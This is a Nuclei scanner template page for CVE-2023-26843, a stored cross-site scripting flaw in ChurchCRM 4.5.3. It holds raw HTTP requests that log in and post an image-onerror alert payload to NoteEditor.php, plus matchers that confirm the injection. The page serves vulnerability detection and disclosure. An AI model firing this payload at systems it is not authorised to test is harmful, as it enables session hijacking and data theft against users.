ChurchCRM 4.5.3 - Cross-Site Scripting

ID: CVE-2023-26843

Severity: medium

Author: Harsh

Tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

Description

A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.

YAML Source

id: CVE-2023-26843

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26843
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26843
    - https://github.com/ChurchCRM/CRM
    - https://github.com/10splayaSec/CVE-Disclosures
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26843
    cwe-id: CWE-79
    epss-score: 0.00264
    epss-percentile: 0.66076
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /NoteEditor.php?FamilyID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        PersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "><img src=x onerror=alert(document.domain)>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and
# digest: 4a0a00473045022100b414630f58df2ef00d7b6e6ee645cf6ae903b98adc7353a19a498d95889fb54c02200583f08c0bc06744d561160e2736a9fec9b4858b0db371d5aa0dddc8e326d25f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-26843.yaml"

View on Github